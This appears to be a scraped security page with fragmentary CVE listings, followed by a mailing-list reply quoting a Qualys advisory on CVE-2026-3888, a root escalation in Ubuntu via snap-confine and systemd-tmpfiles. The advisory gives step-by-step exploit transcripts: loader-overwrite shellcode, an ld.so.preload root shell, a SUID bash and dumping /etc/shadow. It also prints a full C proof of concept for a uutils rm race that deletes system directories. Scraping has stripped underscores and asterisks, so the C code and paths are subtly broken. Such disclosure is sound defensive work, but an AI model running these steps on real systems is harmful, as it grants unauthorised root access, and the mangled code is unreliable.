Where
-Infinity
0
Severity
7.8
OS Command Injection
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Last updated 25 August 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
3.3
Null Pointer Dereference
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Last updated 5 June 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
3.3
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Last updated 5 June 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
5.5
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Last updated 5 June 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
7.8
Use After Free, Race Condition
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Last updated 5 June 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
3.3
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Last updated 5 June 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
6.1
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H

Last updated 5 June 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
5.5
AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Last updated 5 June 2026

1 / 2
Source: Ubuntu
First published (updated )
Severity
5.5
EPSS
0.02%
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

A flaw was found in libefiboot, a component of efivar. The device path node parser in libefiboot fails to validate that each node's Length field is at least 4 bytes, which is the minimum size for an EFI (Extensible Firmware Interface) device path node header. A local user could exploit this vulnerability by providing a specially crafted device path node. This can lead to infinite recursion, causing stack exhaustion and a process crash, resulting in a denial of service (DoS).

1 / 2
Source: MITRE
First published (updated )

Nice work... flashbacks from 2002 (https://lcamtuf.coredump.cx/tmppaper.txt). It's frankly somewhat mind-boggling that distros keep a world-writable /tmp this day and age. Whatever questionable benefits it has, it also contributed to plenty of pointless and easily avoidable vulns.

/mz

On Tue, Mar 17, 2026 at 1:35 PM Qualys Security Advisory <qsa () qualys com> wrote: Qualys Security Advisory

Good things come to those who wait: snap-confine + systemd-tmpfiles = root (CVE-2026-3888)

======================================================================== Contents ========================================================================

Summary Case study: Ubuntu Desktop 24.04 - Analysis - Exploitation Case study: Ubuntu Desktop 25.10 - Overview - Exploitation A quick note on the uutils coreutils (the rust-coreutils) Acknowledgments Timeline

And that is why Caterpillar was never in a hurry. She knew that good things come to those who wait. -- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"

======================================================================== Summary ========================================================================

We discovered an unusual Local Privilege Escalation (LPE), from any unprivileged user to full root, in the default installation of Ubuntu Desktop >= 24.04. We found this vulnerability particularly interesting:

a/ it stems from the interaction of two otherwise secure programs:

- snap-confine, which is set-user-ID-root (or set-capabilities), and "used internally by snapd to construct the execution environment for snap applications" (man snap-confine);

- systemd-tmpfiles, which is executed as root once per day, and "creates, deletes, and cleans up files and directories, using the configuration file format and location specified in tmpfiles.d(5)" (man systemd-tmpfiles);

b/ an unprivileged local attacker who wants to exploit this LPE must wait for 10 days (in Ubuntu > 24.04) or 30 days (in Ubuntu 24.04) to obtain a fully privileged root shell.

As a side note, we also discovered a local vulnerability (a race condition) in the uutils coreutils (a Rust rewrite of the standard GNU coreutils -- ls, cp, rm, cat, sort, etc), which are installed by default in Ubuntu 25.10. This vulnerability was mitigated in Ubuntu 25.10 before its release (by replacing the uutils coreutils' rm with the standard GNU coreutils' rm), and would otherwise have resulted in an LPE (from any unprivileged user to full root) in the default installation of Ubuntu Desktop 25.10.

======================================================================== Case study: Ubuntu Desktop 24.04 ========================================================================

Go slow, go slow, If you want to grow. -- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"

Analysis

We recently noticed that, in the default installation of Ubuntu since version 24.04, systemd-tmpfiles is configured to automatically clean up the files and directories in /tmp that are older than 30 days (in Ubuntu 24.04) or 10 days (in Ubuntu > 24.04). More precisely, systemd-tmpfiles traverses /tmp once per day and deletes all the files and directories that have not been accessed nor modified for more than 10 or 30 days.

------------------------------------------------------------------------ $ cat /etc/os-release PRETTYNAME="Ubuntu 24.04.3 LTS" ...

$ cat /usr/lib/tmpfiles.d/tmp.conf ... D /tmp 1777 root root 30d #q /var/tmp 1777 root root 30d ------------------------------------------------------------------------

------------------------------------------------------------------------ $ cat /etc/os-release PRETTYNAME="Ubuntu 25.10" ...

$ cat /usr/lib/tmpfiles.d/tmp.conf ... q /tmp 1777 root root 10d q /var/tmp 1777 root root 30d ------------------------------------------------------------------------

From our "Lemmings" and "Leeloo" advisories, we then remembered that snap-confine does highly privileged work in /tmp; in particular, in the /tmp/snap-private-tmp directory, which is securely created at boot time (as user root, mode 0700):

https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt https://www.qualys.com/2022/11/30/cve-2022-3328/advisory-snap.txt

------------------------------------------------------------------------ $ cat /usr/lib/tmpfiles.d/snapd.conf D! /tmp/snap-private-tmp 0700 root root - ------------------------------------------------------------------------

We therefore came up with the following idea: if, unbeknownst to snap-confine, systemd-tmpfiles deletes one of the files or directories from snap-confine's /tmp/snap-private-tmp, can we (an unprivileged local attacker) re-create the deleted file or directory ourselves, and exploit snap-confine's privileged work to obtain a fully privileged root shell?

Still from our "Lemmings" and "Leeloo" advisories, we also remembered that, to set up a snap's sandbox, snap-confine creates a directory named /tmp/snap-private-tmp/$SNAP/tmp (as user root, mode 01777) that is later bind-mounted onto the /tmp directory inside the snap's sandbox.

And inside this /tmp directory (inside the snap's sandbox), snap-confine creates a directory named /tmp/.snap (as user root, mode 0755) to create "mimics"; for example, inside the sandbox of each and every snap that is installed by default on Ubuntu Desktop, snap-confine bind-mounts the /usr/lib/x8664-linux-gnu/webkit2gtk-4.0 directory:

- to bind-mount this directory, snap-confine must first create its /usr/lib/x8664-linux-gnu/webkit2gtk-4.0 mountpoint, which does not normally exist;

- but inside the snap's sandbox, /usr/lib/x8664-linux-gnu is in a read-only filesystem (the "core22" base's squashfs);

- so snap-confine must first create a "mimic" of /usr/lib/x8664-linux-gnu (a writable copy of /usr/lib/x8664-linux-gnu), by:

1/ bind-mounting the original, read-only /usr/lib/x8664-linux-gnu onto /tmp/.snap/usr/lib/x8664-linux-gnu (inside the snap's sandbox);

2/ mounting a new, writable tmpfs onto /usr/lib/x8664-linux-gnu;

3/ bind-mounting every file and directory from /tmp/.snap/usr/lib/x8664-linux-gnu back into /usr/lib/x8664-linux-gnu;

4/ creating the /usr/lib/x8664-linux-gnu/webkit2gtk-4.0 mountpoint (which is in a writable tmpfs now);

5/ finally bind-mounting /snap/firefox/6565/gnome-platform/usr/lib/x8664-linux-gnu/webkit2gtk-4.0 (for example) onto /usr/lib/x8664-linux-gnu/webkit2gtk-4.0.

------------------------------------------------------------------------ $ grep /usr/lib/x8664-linux-gnu/webkit2gtk-4.0 /var/lib/snapd/mount/ /var/lib/snapd/mount/snap.firefox.fstab:/snap/firefox/6565/gnome-platform/usr/lib/x8664-linux-gnu/webkit2gtk-4.0 /usr/lib/x8664-linux-gnu/webkit2gtk-4.0 none rbind,rw,x-snapd.origin=layout 0 0 ... ------------------------------------------------------------------------

Consequently, our theoretical idea to exploit snap-confine is:

- inside the snap's sandbox, we frequently write to the /tmp directory (but not to /tmp/.snap), and patiently wait for systemd-tmpfiles to delete the unmodified /tmp/.snap directory (but not /tmp) after 10 days (in Ubuntu > 24.04) or 30 days (in Ubuntu 24.04);

- we re-create the /tmp/.snap directory ourselves (indeed, /tmp is world-writable), and create our own copy of /usr/lib/x8664-linux-gnu in /tmp/.snap/usr/lib/x8664-linux-gnu.exchange;

- we force snap-confine to set up the snap's sandbox afresh, but during the creation of the /usr/lib/x8664-linux-gnu "mimic", between step 1/ and step 3/, we quickly replace /tmp/.snap/usr/lib/x8664-linux-gnu with our own /tmp/.snap/usr/lib/x8664-linux-gnu.exchange (indeed, /tmp/.snap belongs to us);

- as a result, during step 3/ of the creation of this "mimic", snap-confine bind-mounts our own files into /usr/lib/x8664-linux-gnu, so we control every shared library and the dynamic loader (inside the snap's sandbox) and can execute arbitrary code as root by simply executing any dynamically-linked SUID-root binary.

In the following proof of concept for Ubuntu Desktop 24.04, we put this theoretical idea into practice.

Exploitation

First, we set up the sandbox of one of the snaps that are installed by default on Ubuntu Desktop (the "firefox" snap) by executing snap-confine with the "core22" base, then we obtain an unprivileged shell inside this snap's sandbox, we chdir to its /tmp directory, we frequently write to this directory (but not to its /tmp/.snap sub-directory), and we wait for systemd-tmpfiles to delete the unmodified /tmp/.snap directory (after 30 days, in Ubuntu 24.04).

------------------------------------------------------------------------ outside$ cat /etc/os-release PRETTYNAME="Ubuntu 24.04.3 LTS" ...

outside$ id uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)

outside$ env -i SNAPINSTANCENAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/bash

inside$ cd /tmp

inside$ stat ./.snap ... Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) ...

inside$ while test -d ./.snap; do touch ./; sleep 60; done [30 days pass]

inside$ stat ./.snap stat: cannot statx './.snap': No such file or directory ------------------------------------------------------------------------

Second, from another shell outside the snap's sandbox, we chdir to /tmp/snap-private-tmp/$SNAP/tmp (/tmp inside the snap's sandbox) through the /proc/pid/cwd of our sandboxed shell (indeed, we cannot chdir to /tmp/snap-private-tmp/$SNAP/tmp directly because /tmp/snap-private-tmp belongs to root, mode 0700), we destroy the snap's sandbox (but not its /tmp directory) by executing snap-confine with an invalid base (the "snapd" base), and we run our firefox24.04.c helper (which is basically CVE-2021-44731-Desktop.c from our "Lemmings" advisory):

- we re-create the ./.snap directory ourselves (/tmp/.snap inside the snap's sandbox), since it was deleted by systemd-tmpfiles, and we create our own copy of /snap/core22/current/usr/lib/x8664-linux-gnu in ./.snap/usr/lib/x8664-linux-gnu.exchange;

- we force snap-confine to set up the snap's sandbox afresh, by executing it with the "core22" base, but we "single-step" this execution of snap-confine (we set SNAPDDEBUG=1, we redirect its stderr to an AFUNIX socket with minimized SORCVBUF and SOSNDBUF, we read() its output byte by byte, and we recv(MSGPEEK) at its buffered output), to reliably win the race condition between step 1/ and step 3/ of the "mimic" creation of /usr/lib/x8664-linux-gnu;

- as soon as we read() or recv() the following message (immediately after step 1/ of the "mimic" creation of /usr/lib/x8664-linux-gnu),

mount name:"/usr/lib/x8664-linux-gnu" dir:"/tmp/.snap/usr/lib/x8664-linux-gnu"

we quickly replace snap-confine's ./.snap/usr/lib/x8664-linux-gnu with our own ./.snap/usr/lib/x8664-linux-gnu.exchange, whose contents are then bind-mounted into /usr/lib/x8664-linux-gnu, thus giving us full control over every shared library and the dynamic loader inside the snap's sandbox.

------------------------------------------------------------------------ outside$ cd /proc/2396/cwd

outside$ env -i SNAPINSTANCENAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure /nonexistent /user.slice/user-1001.slice/session-145.scope is not a snap cgroup

outside$ systemd-run --user --scope --unit=snap.whatever /bin/bash Running as unit: snap.whatever.scope; invocation ID: ed50ae80aa9844d6a6e4499ea1f4bba8

outside$ env -i SNAPINSTANCENAME=firefox /usr/lib/snapd/snap-confine --base snapd snap.firefox.hook.configure /nonexistent cannot perform operation: mount --rbind /dev /tmp/snap.rootfsyMpga4//dev: No such file or directory

outside$ exit

outside$ ~/firefox24.04 hange.go:351: DEBUG: mount name:"/usr/lib/x8664-linux-gnu" dir:"/tmp/.snap/usr/lib/x8664-linux-gnu" type:"" opts:MSBIND|MSREC unparsed:"" (error: <nil>) change.go:351: DEBUG: mount name:"tmpfs" dir:"/usr/lib/x8664-linux-gnu" type:"tmpfs" opts: unparsed:"mode=0755,uid=0,gid=0" (error: <nil>) ... change.go:351: DEBUG: mount name:"/tmp/.snap/usr/lib/x8664-linux-gnu/ld-linux-x86-64.so.2" dir:"/usr/lib/x8664-linux-gnu/ld-linux-x86-64.so.2" type:"" opts:MSBIND unparsed:"" (error: <nil>) ... change.go:351: DEBUG: mount name:"/snap/firefox/6565/gnome-platform/usr/lib/x8664-linux-gnu/webkit2gtk-4.0" dir:"/usr/lib/x8664-linux-gnu/webkit2gtk-4.0" type:"none" opts:MSBIND|MSREC unparsed:"" (error: <nil>) ... execv failed: No such file or directory ------------------------------------------------------------------------

Third, we obtain an unprivileged shell inside this newly set up sandbox, by executing snap-confine with the same "core22" base; and from another shell outside this snap's sandbox, we chdir to its / directory, through the /proc/pid/root of our sandboxed shell, we copy /usr/bin/busybox to ./tmp/sh (/tmp/sh inside the snap's sandbox), and we overwrite the dynamic loader ./usr/lib/x8664-linux-gnu/ld-linux-x86-64.so.2 (which belongs to us) with a simple shellcode that calls setreuid(0) and execve(/tmp/sh) (a busybox shell).

------------------------------------------------------------------------ outside$ env -i SNAPINSTANCENAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /bin/bash inside$ ------------------------------------------------------------------------

------------------------------------------------------------------------ outside$ cd /proc/4516/root

outside$ cp /usr/bin/busybox ./tmp/sh

outside$ cat ~/librootshell.so > ./usr/lib/x8664-linux-gnu/ld-linux-x86-64.so.2 ------------------------------------------------------------------------

Fourth, we obtain a root shell inside the snap's sandbox, by executing snap-confine itself through snap-confine, which is dynamically linked and SUID-root and therefore executes our own dynamic loader's shellcode (and hence a busybox shell) as root. (Note: the snap's sandbox contains various SUID-root binaries, but only the execution of snap-confine is allowed by its AppArmor profile.)

------------------------------------------------------------------------ outside$ env -i SNAPINSTANCENAME=firefox /usr/lib/snapd/snap-confine --base core22 snap.firefox.hook.configure /usr/lib/snapd/snap-confine ... BusyBox v1.36.1 (Ubuntu 1:1.36.1-6ubuntu3.1) built-in shell (ash) ...

inside# id uid=0(root) gid=1001(jane) groups=100(users),1001(jane) ^^^^^^^^^^^

inside# cat /etc/shadow cat: can't open '/etc/shadow': Permission denied ------------------------------------------------------------------------

Fifth, because this root shell is still inside the snap's sandbox, confined by an AppArmor profile and a seccomp filter, we copy /bin/bash to /var/snap/$SNAP/common/ and chmod it to 04755 (both operations are allowed by the AppArmor profile and the seccomp filter), and execute this SUID-root shell from outside the snap's sandbox, thereby finally gaining full root privileges.

------------------------------------------------------------------------ inside# cp /bin/bash /var/snap/firefox/common/

inside# chmod 04755 /var/snap/firefox/common/bash

inside# exit

outside$ /var/snap/firefox/common/bash -p

outside# id uid=1001(jane) gid=1001(jane) euid=0(root) groups=1001(jane),100(users) ^^^^^^^^^^^^

outside# cat /etc/shadow root::20305:0:99999:7::: daemon::20305:0:99999:7::: ... ------------------------------------------------------------------------

======================================================================== Case study: Ubuntu Desktop 25.10 ========================================================================

Why go fast? Let life run past? -- Tinga Tinga Tales, "Why Caterpillar is Never in a Hurry"

Overview

For Ubuntu Desktop 25.10 we must change our exploitation strategy, because snap-confine is not SUID-root anymore; instead, it now has capabilities attached:

------------------------------------------------------------------------ $ stat /usr/lib/snapd/snap-confine ... Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) ...

$ getcap /usr/lib/snapd/snap-confine /usr/lib/snapd/snap-confine capchown,capdacoverride,capdacreadsearch,capfowner,capsyschroot,capsysptrace,capsysadmin=p ------------------------------------------------------------------------

These capabilities are actually very powerful, and we can obtain them inside a snap's sandbox by slightly revising our exploitation strategy from Ubuntu 24.04 (by calling capset() and prctl(PRCAPAMBIENTRAISE) instead of setreuid(0)), but most of these capabilities and associated syscalls are then denied to us by AppArmor and seccomp, thus preventing us from gaining full root privileges outside the snap's sandbox.

Consequently, we decided to re-use the strategy that we used in our "Lemmings" advisory to exploit the "snap-store" snap (which is installed by default on Ubuntu Desktop): instead of racing against the "mimic" creation of /usr/lib/x8664-linux-gnu, we race against the "mimic" creation of /var/lib (which is needed to bind-mount /var/lib/app-info inside snap-store's sandbox), which allows us to control /var/lib and hence /var/lib/snapd/mount/snap.snap-store.user-fstab, which in turn allows us to bind-mount near-arbitrary directories and obtain a root shell inside snap-store's sandbox, and eventually a fully privileged root shell outside snap-store's sandbox.

Exploitation

First, we set up snap-store's sandbox by executing snap-confine with the "core22" base, we obtain an unprivileged shell inside this sandbox, we chdir to its /tmp directory, we frequently write to this directory (but not to its /tmp/.snap sub-directory), and we wait for systemd-tmpfiles to delete the unmodified /tmp/.snap directory (after 10 days, in Ubuntu 25.10).

------------------------------------------------------------------------ outside$ cat /etc/os-release PRETTYNAME="Ubuntu 25.10" ...

outside$ id uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)

outside$ env -i SNAPINSTANCENAME=snap-store /usr/lib/snapd/snap-confine --base core22 snap.snap-store.hook.configure /bin/bash

inside$ cd /tmp

inside$ stat ./.snap ... Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) ...

inside$ while test -d ./.snap; do touch ./; sleep 60; done [10 days pass]

inside$ stat ./.snap stat: cannot statx './.snap': No such file or directory ------------------------------------------------------------------------

Second, from another shell outside snap-store's sandbox, we chdir to /tmp/snap-private-tmp/$SNAP/tmp (/tmp inside the sandbox) through the /proc/pid/cwd of our sandboxed shell, we destroy snap-store's sandbox (but not its /tmp directory) by executing snap-confine with an invalid base ("snapd"), and we run our snap-store25.10.c helper (which is also basically CVE-2021-44731-Desktop.c from our "Lemmings" advisory):

- we re-create the ./.snap directory ourselves (/tmp/.snap inside snap-store's sandbox), since it was deleted by systemd-tmpfiles, and we create our own copy of /snap/core22/current/var/lib in ./.snap/var/lib.exchange;

- we force snap-confine to set up snap-store's sandbox afresh, by executing it with the "core22" base, but we "single-step" this execution (with SNAPDDEBUG=1), to reliably win the race condition between step 1/ and step 3/ of the "mimic" creation of /var/lib;

- as soon as we see the following debug message (immediately after step 1/ of the "mimic" creation of /var/lib),

mount name:"/var/lib" dir:"/tmp/.snap/var/lib"

we quickly replace snap-confine's ./.snap/var/lib with our own ./.snap/var/lib.exchange, whose contents are then bind-mounted into /var/lib (inside snap-store's sandbox); this replacement has two beneficial consequences for us:

a/ we control /var/lib/snapd/mount/snap.snap-store.user-fstab, which allows us to bind-mount near-arbitrary directories inside snap-store's sandbox (these bind-mounts are not completely arbitrary, because they are still confined by an AppArmor profile);

b/ various SUID-root binaries remain bind-mounted in /tmp/.snap, and their execution is allowed by an AppArmor rule "/tmp/ mrwlkix," inside snap-store's sandbox.

------------------------------------------------------------------------ outside$ cd /proc/4078/cwd

outside$ env -i SNAPINSTANCENAME=snap-store /usr/lib/snapd/snap-confine --base snapd snap.snap-store.hook.configure /nonexistent /user.slice/user-1001.slice/session-33.scope is not a snap cgroup

outside$ systemd-run --user --scope --unit=snap.whatever /bin/bash Running as unit: snap.whatever.scope; invocation ID: 113af972356b4f08a58461cf64cc57f6

outside$ env -i SNAPINSTANCENAME=snap-store /usr/lib/snapd/snap-confine --base snapd snap.snap-store.hook.configure /nonexistent cannot perform operation: mount --rbind /dev /tmp/snap.rootfsGCNDEM//dev: No such file or directory

outside$ exit

outside$ ~/snap-store25.10 ... hange.go:351: DEBUG: mount name:"/var/lib" dir:"/tmp/.snap/var/lib" type:"" opts:MSBIND|MSREC unparsed:"" (error: <nil>) change.go:351: DEBUG: mount name:"tmpfs" dir:"/var/lib" type:"tmpfs" opts: unparsed:"mode=0755,uid=0,gid=0" (error: <nil>) ... change.go:426: DEBUG: umount "/tmp/.snap/var/lib" UMOUNTNOFOLLOW|MNTDETACH (error: invalid argument) change.go:399: DEBUG: ignoring EINVAL from unmount, "/tmp/.snap/var/lib" is not mounted change.go:477: DEBUG: remove "/tmp/.snap/var/lib" (error: remove /tmp/.snap/var/lib: directory not empty) ... /var/lib/snapd not root-owned 1001:1001 ------------------------------------------------------------------------

Third, still from outside snap-store's sandbox but inside its /tmp directory:

- we create a copy of /etc in ./.snap/etc (/tmp/.snap/etc inside the sandbox), we add /tmp/librootshell.so to ./.snap/etc/ld.so.preload, we create ./librootshell.so (/tmp/librootshell.so inside the sandbox), a simple shellcode that calls setreuid(0) and execve(/tmp/sh), we copy /usr/bin/busybox to ./sh (/tmp/sh inside the sandbox), and we add the following to ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab, which will bind-mount our copy of /etc inside snap-store's sandbox:

/tmp/.snap/etc /etc none rbind,rw 0 0

- we also add the following line to ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab (and replace our own ./.snap/var/lib with the original ./.snap/var/lib.exchange), which will bind-mount the original, root-owned /var/lib/snapd inside snap-store's sandbox (otherwise snap-confine dies because it detects that /var/lib/snapd does not belong to root -- it belongs to us since we won the race condition against the "mimic" creation of /var/lib):

/tmp/.snap/var/lib/snapd /var/lib/snapd none rbind,rw 0 0

------------------------------------------------------------------------ outside$ cp -a /etc ./.snap ...

outside$ echo /tmp/librootshell.so > ./.snap/etc/ld.so.preload

outside$ cp ~/librootshell.so ./

outside$ cp /usr/bin/busybox ./sh

outside$ echo '/tmp/.snap/etc /etc none rbind,rw 0 0' > ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab

outside$ echo '/tmp/.snap/var/lib/snapd /var/lib/snapd none rbind,rw 0 0' >> ./.snap/var/lib/snapd/mount/snap.snap-store.user-fstab

outside$ mv ./.snap/var/lib ./.snap/var/lib.exchange2

outside$ mv ./.snap/var/lib.exchange ./.snap/var/lib ------------------------------------------------------------------------

Fourth, we obtain a root shell inside snap-store's sandbox, by executing snap-confine with one of the SUID-root binaries in /tmp/.snap (such as /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su), which is dynamically linked and therefore preloads our /tmp/librootshell.so and executes our shellcode (and hence a busybox shell) as root.

------------------------------------------------------------------------ outside$ env -i SNAPINSTANCENAME=snap-store /usr/lib/snapd/snap-confine --base core22 snap.snap-store.hook.configure /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su ... BusyBox v1.37.0 (Ubuntu 1:1.37.0-4ubuntu1) built-in shell (ash) ...

inside# id uid=0(root) gid=1001(jane) groups=100(users),1001(jane) ^^^^^^^^^^^

inside# cat /etc/shadow cat: can't open '/etc/shadow': No such file or directory ------------------------------------------------------------------------

Fifth, because this root shell is still inside snap-store's sandbox, confined by an AppArmor profile and a seccomp filter, we copy /bin/bash to /var/snap/$SNAP/common/ and chmod it to 04755 (both operations are allowed by the AppArmor profile and the seccomp filter), and execute this SUID-root shell from outside snap-store's sandbox, thereby finally gaining full root privileges.

------------------------------------------------------------------------ inside# cp /bin/bash /var/snap/snap-store/common/

inside# chmod 04755 /var/snap/snap-store/common/bash

inside# exit

outside$ /var/snap/snap-store/common/bash -p

outside# id uid=1001(jane) gid=1001(jane) euid=0(root) groups=1001(jane),100(users) ^^^^^^^^^^^^

outside# cat /etc/shadow root::20368:0:99999:7::: daemon::20368:0:99999:7::: ... ------------------------------------------------------------------------

======================================================================== A quick note on the uutils coreutils (the rust-coreutils) ========================================================================

In August 2025, before the release of Ubuntu 25.10, the Ubuntu Security Team proactively contacted us and kindly asked us if we were interested in reviewing the security of the uutils coreutils (a Rust rewrite of the standard GNU coreutils -- ls, cp, rm, cat, sort, sleep, etc), which are since then installed by default in Ubuntu 25.10.

We were deeply interested, and honored, but unfortunately at the time we were already working full-time on another project; so we told the Ubuntu Security Team that we would not be able to conduct an official security review, but that we would try to work on it anyway during our free time.

We started by carefully reading the following report, which already contained extremely valuable information; in particular, the mention of "unsafe, racy, tree walking algorithms" caught our attention:

https://bugs.launchpad.net/ubuntu/+source/rust-coreutils/+bug/2111815

From our work on apport (CVE-2025-5054), we then remembered that the shell script /etc/cron.daily/apport is installed by default on Ubuntu, is executed as root once per day, and can recursively delete entire sub-directories of /var/crash, which is world-writable like /tmp:

------------------------------------------------------------------------ $ cat /etc/cron.daily/apport ... find /var/crash/. ! -name . -prune -type d -regextype posix-extended -regex './[0-9]{12}$' \( -mtime +7 \) -exec rm -Rf -- '{}' \;

$ stat /var/crash ... Access: (3777/drwxrwsrwt) Uid: ( 0/ root) Gid: ( 0/ root) ... ------------------------------------------------------------------------

Since rm is one of the uutils coreutils, we decided to create a directory /var/crash/base/parent/target (as an unprivileged attacker) and to analyze the strace of an "rm -Rf /var/crash/base" command (as root), and we quickly discovered that rm was vulnerable to a trivial race condition:

------------------------------------------------------------------------ 1 execve("/usr/bin/rm", ["rm", "-Rf", "/var/crash/base"], ...) = 0 ... 147 openat(ATFDCWD, "/var/crash/base", ORDONLY|ONONBLOCK|OCLOEXEC|ODIRECTORY) = 3 ... 152 openat(ATFDCWD, "/var/crash/base/parent", ORDONLY|ONONBLOCK|OCLOEXEC|ODIRECTORY) = 4 ... 158 openat(ATFDCWD, "/var/crash/base/parent/target", ORDONLY|ONONBLOCK|OCLOEXEC|ODIRECTORY) = 5 ... 163 rmdir("/var/crash/base/parent/target") = 0 ... 167 rmdir("/var/crash/base/parent") = 0 ... 171 rmdir("/var/crash/base") = 0 ... 174 exitgroup(0) = ? ------------------------------------------------------------------------

- if, after rm calls openat() on /var/crash/base/parent (at line 152), but before rm calls openat() on /var/crash/base/parent/target (at line 158), if the attacker replaces /var/crash/base/parent with a symlink (which will be followed by rm) to another part of the filesystem (for example, to /etc), then this attacker can delete arbitrary parts of the filesystem, as root (the shell script /etc/cron.daily/apport is executed as root);

- for example, if the attacker replaces "parent" with a symlink to /etc, and if "target" is "ppp", then rm will recursively delete the entire /etc/ppp directory.

We immediately reported this vulnerability to Ubuntu, who, as a temporary mitigation in Ubuntu 25.10, replaced the default rm with a symlink to the standard GNU coreutils' rm (i.e., in Ubuntu 25.10, rm is a symlink to /usr/bin/gnurm, not a symlink to the uutils coreutils' /usr/lib/cargo/bin/coreutils/rm).

To the best of our knowledge, this vulnerability in the uutils coreutils' rm was later fixed upstream (by calling openat() relatively to each component of a path, instead of calling openat() on absolute paths and resolving each path component multiple times), by commits:

https://github.com/uutils/coreutils/commit/1183529cd2deafb38bed3b6bf212357b68eefa41 https://github.com/uutils/coreutils/commit/e773c95c4e62424db17563242c35e488a6d1ae9b https://github.com/uutils/coreutils/commit/45e6cbd109a0a33d82e90c985813ea83d4009714

However, at the time of writing this advisory, the uutils coreutils' /usr/lib/cargo/bin/coreutils/rm that is shipped with Ubuntu 25.10 is still vulnerable (but unused, since the default is the GNU coreutils' rm); this allows us to test what would have happened if the vulnerable rm had been shipped as the default in Ubuntu 25.10. For example, below we run our proof of concept as an unprivileged user, and root executes the rm command that would have been executed by /etc/cron.daily/apport, thereby accidentally deleting the entire /etc/ppp directory:

------------------------------------------------------------------------ $ cat /etc/os-release PRETTYNAME="Ubuntu 25.10" ...

$ id uid=1001(jane) gid=1001(jane) groups=1001(jane),100(users)

$ cat > uutilsrm.c << "EOF" #define GNUSOURCE #include <sys/inotify.h> #include <sys/param.h> #include <sys/stat.h> #include <sys/types.h> #include <dirent.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <utime.h>

#define die() do { \ fprintf(stderr, "died in %s: %u\n", func, LINE); \ exit(EXITFAILURE); \ } while (0)

int main(const int argc, const char const argv[]) { if (argc < 3) die(); const char const writabledir = argv[1]; if (writabledir != '/') die();

const char const parentdir = strdup(argv[2]); if (!parentdir) die(); char const lastslash = strrchr(parentdir, '/'); if (!lastslash) die();

const char const targetdir = strdup(lastslash + 1); if (!targetdir) die();

lastslash[1] = '\0'; if (parentdir != '/') die(); if (!targetdir) die();

unsigned long npredirs = 32; if (argc > 3) { if (argc != 4) die(); npredirs = strtoul(argv[3], NULL, 0); } if (npredirs <= 0) die(); if (npredirs > (1u<<20)) die();

if (chdir(writabledir)) die(); char basedir[] = "XXXXXX"; if (!mkdtemp(basedir)) die(); if (chdir(basedir)) die();

if (mkdir("parent", 0700)) die(); if (chdir("parent")) die(); if (mkdir(targetdir, 0700)) die();

const char firstdir = NULL; for (;;) { char try[] = "XXXXXX"; if (!mkdtemp(try)) die();

unsigned long n = 0; DIR const dirp = opendir("."); if (!dirp) die(); for (;;) { const struct dirent const entp = readdir(dirp); if (!entp) die(); if (entp->dname == '.') continue; if (!strcmp(entp->dname, targetdir)) break; n++; if (!firstdir) { firstdir = strdup(entp->dname); if (!firstdir) die(); } } if (closedir(dirp)) die(); if (n >= npredirs) break; } if (!firstdir) die();

if (chdir(firstdir)) die(); unsigned long i; for (i = 0; i < npredirs; i++) { char num[256]; snprintf(num, sizeof(num), "%lu", i); if (mkdir(num, 0700)) die(); } const int infd = inotifyinit(); if (infd <= -1) die(); if (inotifyaddwatch(infd, ".", INATTRIB) <= -1) die();

if (chdir("..")) die(); if (chdir("..")) die(); if (symlink(parentdir, "../switch")) die(); static const struct utimbuf epoch = { 1, 1 }; if (utime(".", &epoch)) die();

fprintf(stderr, "ready\n"); static char inbuf[sizeof(struct inotifyevent) + NAMEMAX + 1]; if (read(infd, inbuf, sizeof(inbuf)) < (ssizet)sizeof(struct inotifyevent)) die(); if (renameat2(ATFDCWD, "parent", ATFDCWD, "../switch", RENAMEEXCHANGE)) die(); die(); } EOF

$ gcc -s -o uutilsrm uutilsrm.c

$ stat /etc/ppp ... Access: (0755/drwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) ...

$ ./uutilsrm /var/crash /etc/ppp ready ------------------------------------------------------------------------

Then, as root (to simulate the /etc/cron.daily/apport shell script):

------------------------------------------------------------------------ id uid=0(root) gid=0(root) groups=0(root)

dpkg -S /usr/lib/cargo/bin/coreutils/rm rust-coreutils: /usr/lib/cargo/bin/coreutils/rm

dpkg -l rust-coreutils ... ii rust-coreutils 0.2.2-0ubuntu2.1 amd64 Universal coreutils utils, written in Rust

find /var/crash/. ! -name . -prune -type d \( -mtime +7 \) -exec /usr/lib/cargo/bin/coreutils/rm -Rf -- '{}' \; ...

